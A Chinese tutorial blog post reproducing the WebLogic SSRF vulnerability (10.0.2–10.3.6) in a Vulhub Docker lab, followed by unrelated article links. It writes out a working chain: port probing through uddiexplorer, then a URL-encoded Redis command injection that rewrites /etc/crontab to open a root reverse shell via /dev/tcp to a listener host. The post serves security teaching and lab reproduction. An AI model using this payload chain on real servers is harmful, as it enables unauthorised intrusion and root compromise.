【漏洞复现】Weblogic SSRF漏洞复现

article/2025/10/27 6:30:30

C语言专栏:C语言基本语法、基本操作、相关库函数的编写,相关内存分析
C++专栏:C++基本语法C++相关结构剖析,详细例题,相关小型Demo的编写
数据结构专栏:基本数据结构原理介绍,代码实现,相关Leetcode例题讲解剖析
漏洞复现专栏:相关漏洞的原理介绍,进行漏洞复现,对相关漏洞进行整体的把握与感知
干货满满,陆续更新ing

目录

  • Weblogic SSRF漏洞复现
    • 漏洞描述
    • 漏洞原理
      • SSRF
      • Redis未授权访问
    • 影响版本
    • 漏洞环境
    • 漏洞复现
      • SSRF漏洞探测
      • 从SSRF利用到Redis未授权访问
      • 从Redis未授权访问到Getshell

Weblogic SSRF漏洞复现

漏洞描述

Weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中Redis、Fastcgi等脆弱组件。

Redis存在未授权访问漏洞,在访问redis数据库时,无需提供用户名及密码,且具备root权限读写文件。

漏洞原理

SSRF

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

正常用户访问网站的流程是:

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应

【网站有个请求是www.baidu,com/xxx.php?image=URL

安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址

如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。

Redis未授权访问

未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

影响版本

Weblogic 10.0.2 – 10.3.6版本

漏洞环境

kali-docker:192.168.0.108

靶机(Ubuntu):192.168.0.109

Vulhub:weblogic从SSRF到Redis未授权访问到Getshell

Redis未授权访问:Redis数据库不需要用户名密码就可以访问数据库,具有root权限,可以读写文件

漏洞复现

SSRF漏洞探测

  • 切换到Vulhub/Weblogic/ssrf下,开启环境(需提前安装docker环境)
docker-compose build
docker-compose up -d

image-20220728111238348

  • 访问漏洞存在点http://192.168.0.109:7001/uddiexplorer

image-20220728122608063

  • 选择Search Public Registries,点击search,使用burp suite抓包

image-20220728122957103

  • 将URL中部分内容进行URL解码

image-20220728123228698

image-20220728161244405

  • Send,右击Response,点击Send to Comparer,返回Repeater,修改地址为www.baidu.com,Send,右击Response,点击Send to Comparer,Comparer中,words

image-20220728145827338

修改URL后,伪造服务器端请求资源,接收到response,存在SSRF漏洞

从SSRF利用到Redis未授权访问

  • 伪造服务器端发送请求,修改URL,探测内网,探测端口,如果指定端口开放则会返回带有404内容的提示(404:访问资源不存在,端口服务开放)

image-20220728150504841

  • 修改端口号,探测端口是否开放,未开放445端口

image-20220728150552671

  • 下一步可以根据该处的响应,来盲测其所在内网的IP地址。此时我们先测试一下靶机所配置的IP地址,将该请求体中的URL参数修改为http://192.168.0.108:7001,并点击发送,响应页面显示没有找到对应IP地址。这是因为该架构处于容器内,容器内属于一个局域网,192.168.0.0网段对于容器而言是其他局域网,由于没有对容器所对应的网关配置路由表,所以找不到该IP。

image-20220728162650261

  • 探测内网IP地址可使用字典进行内IP爆破,因此处使用docker容器环境,故查看Redis服务所在IP地址
# docker ps
# docker exec -it 3f3c5f3a0692 "/bin/bash"
# ifconfig
# ls -al /etc/crontab
-rw-r--r-- 1 root root 457 Sep 27  2011 /etc/crontab
# cp /etc/crontab /etc/crontab.bak
exit

image-20220728170832650

得到docker Redis地址为:172.19.0.2

  • 修改URL,Send,探测6379端口为开放,可能存在未授权访问

image-20220728174110714

从Redis未授权访问到Getshell

docker-weblogic-ssrf-Linux

  • crontab:计划任务
  • cat crontab
  • exit

进入kali,开启特定端口接收返回的shell

ncat -lvvp 777

image-20220728175857702

利用Redis未授权访问漏洞,反弹shell到kali终端

  1. 在任意时间以root将bash弹到后面这个IP的地址端口,需要接收端开启对应端口才能接收到。
  2. 设置目录
  3. 设置文件
  4. 将信息保存到对应的目录中
test
set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/192.168.0.108/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

URL编码

http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.108%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  • 将上述编码添加到Repeater模块中,Send,成功Getshell

image-20220728180917844

image-20220728180943231

关闭靶场

docker-compose down

看到这里,如果感觉文章对你有帮助,不要忘记一键三连哦!


http://chatgpt.dhexx.cn/article/v6swrGNu.shtml

相关文章

手动部署EJB于WebLogic

转载自http://blog.sina.com.cn/s/blog_678530f60100hy6c.html 说是转载,其实是我个人几年前在新浪博客上发表的一篇文章 上一篇说道如何使用Eclipse、MyEclipse、JDK和WebLogic开发并且部署FibonacciEJB,并通过客户端访问成功。然而,那是借…

数数C语言,(旧)子数涵数·C语言——让C帮你做计算

之前,我们学过了我们的第一个C程序——hello World。现在开始进一步学习,想一想如何让C帮你做计算。 我们先来看代码(我没有新建,还是用之前的hello world.cpp): 好,因为之前在hello World的时候就已经学过了C的基本框…

Weblogic远程代码执行(CVE-2020-14645)

声明 好好学习,天天向上 漏洞描述 Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 攻击…

weblogic 64位 linux,weblogic在linux和window下的安装

weblogic在linux和window下的安装 Windows server2008 一直下一步没什么坑 centos6.5 使用rpm安装jdk8 安装jdl rpm -ivh jdk-8u191-linux-x64.rpm 配置环境变量 vim /etc/profile //打开环境变量文件 JAVA_HOME/usr/java/jdk1.8.0_191 CLASSPATH%JAVA_HOME%/lib:%JAVA_HOME%/j…

电脑上怎么安装c语言编程软件,如何在自己的电脑上安装C语言运行的环境?

2007-07-12 java / C / C / C# 学习这些语言分别应该安装什么软件(用于学习的和用于编程的,好像还有什么编译器?),请懂的人帮忙一一列出根这些语言相对应的相关软件.谢谢 1、学习JAVA语言首先必须要安装java虚拟机,也就是常说的&a…

Oracle书籍推荐

No.1 精通Oracle SQL 通过这本书,你可以学习到Oracle优化技术,你会发现,执行计划跟你有那么大的关系。我们都说,如果你写sql不会看执行计划,那么就不是一个合格的数据库程序员。 No.2 Oracle查询优化改写技巧与案例 …

数据仓库之路:为你推荐六本经典的数据仓库书籍

这是傅一平的第325篇原创 作者:傅一平 个人微信:fuyipingmnb “与数据同行”开通了微信群,已经汇聚了4000位小伙伴了,加我为微信好友(微信号:frank61822702)申请即可,我会拉你入群。…

常见的数据库电子图书 [共9本]

自己平日收集到的一些数据库方面的书籍: 1、MS SQL Server循序渐进[chm] 2、MS SQL Server精华[chm] 3、MS SQL_Server菜鸟入门[chm] 4、MS SQL Server参考手册[chm] 5、MY SQL中文参考手册[chm] 6、MY SQL中文手册[chm] 7、中兴公司ORACLE数据库培训[pdf] 8…

学好数据库,看这9本书就够了

原文地址:http://blog.csdn.net/f2006116/article/details/51997820 软件开发者编写代码,最终都是要处理数据,因此数据库是必备技能。 悲剧的是,学校里与此最相关的数据库原理课,对初学者的体验却非常不好。相信很多同…

成为数据库专家必读书目推荐

1 推荐书目列表 序号书名难易度简评1《SQL必知必会》%注重实践,容易上手2《MySQL必知必会》%%上一本看完,这一本基本上只要关注 MySQL 的特殊特性即可3《数据库系统概念》%%%大而全,希望打好数据库方面的基础的同学必读4《SQL语言艺术》%%看…

值得看的SQL书籍

来自:程序员书库(ID:CodingBook) 近年来,和其他系统领域一样,数据库领域也实现了飞速发展,应用范围不断扩大,不但出现了具有新功能的数据库,而且操作的数据量也在大幅增…

大牛书单 | 数据库专题好书分享

导语:读书是一生的功课,技术人通过读书实现自我提升,学习优秀技术沉淀。TEG读书会本期特邀腾讯金融云专家工程师李海翔、TEG计费平台部专家工程师雷海林、MySQL数据库专家姜承尧,为大家带来数据库方向好书推荐。来看看技术大牛在读…

强烈推荐 10 本我私藏的数据库书单,附读书方法,java程序设计项目化教程

第三本、《MySQL 必知必会》 《MySQL 必知必会》这本书的英文原版名是《Sams Teach Yourself MySQL in 10 Minutes》,有没有品到一丝丝标题党的味道?不过,中文版名字就优雅多了。 这书非常适合想快速了解数据库原理和 MySQL 的新手阅读。快餐性质,简洁明快,小开本,而且很…

删除HTML元素

删除HTML元素也是通过删除节点来完成的。对于普通的HTML元素,可用通用方法来删除节点,而列表框、下拉菜单、表格则有额外的方法来删除HTML元素。 删除节点 删除节点通常借助于其父节点,Node 对象提供了如下方法来删除子节点。 ➢removeChil…

使用JavaScript删除CSS属性

如何使用JavaScript删除CSS属性?下面本篇就来给大家介绍一下使用JavaScript删除CSS属性的方法,希望对大家有所帮助。 方法一:使用removeProperty()方法 removeProperty()方法用于从元素的样式中移除属性。元素的样式是通过styleSheets数组并…

Js 添加删除HTML DOM 元素(节点)

添加: <div id"div1"> <p id"p1">这是一个段落</p> <p id"p2">这是另一个段落</p> </div><script> var paradocument.createElement("p"); var nodedocument.createTextNode("这是新段…

JavaScript 删除 HTML 元素

1-删除节点 removeChild&#xff08;oldNode&#xff09;&#xff1a;删除 oldChild 子节点 <body id"test"><input id"add" type"button" value"增加" disabled onclick"add();"/><input id"del&quo…

html+css+js实现基本的增减删查

本编文章对学过js的朋友而没思路写的的朋友可以作为一个参考&#xff0c;没有学过js的建议先学习基础知识。 整体效果&#xff1a; 源码如下&#xff1a; <!DOCTYPE html> <html><head><meta charset"utf-8"><title>增删减</titl…

js添加和删除元素节点

js添加和删除元素节点 <!DOCTYPE html> <html> <head><meta charset"UTF-8"><title></title><script>var i 0;//创建节点function but() {//创建元素节点//var ele document.createElement("h1");//<h1>…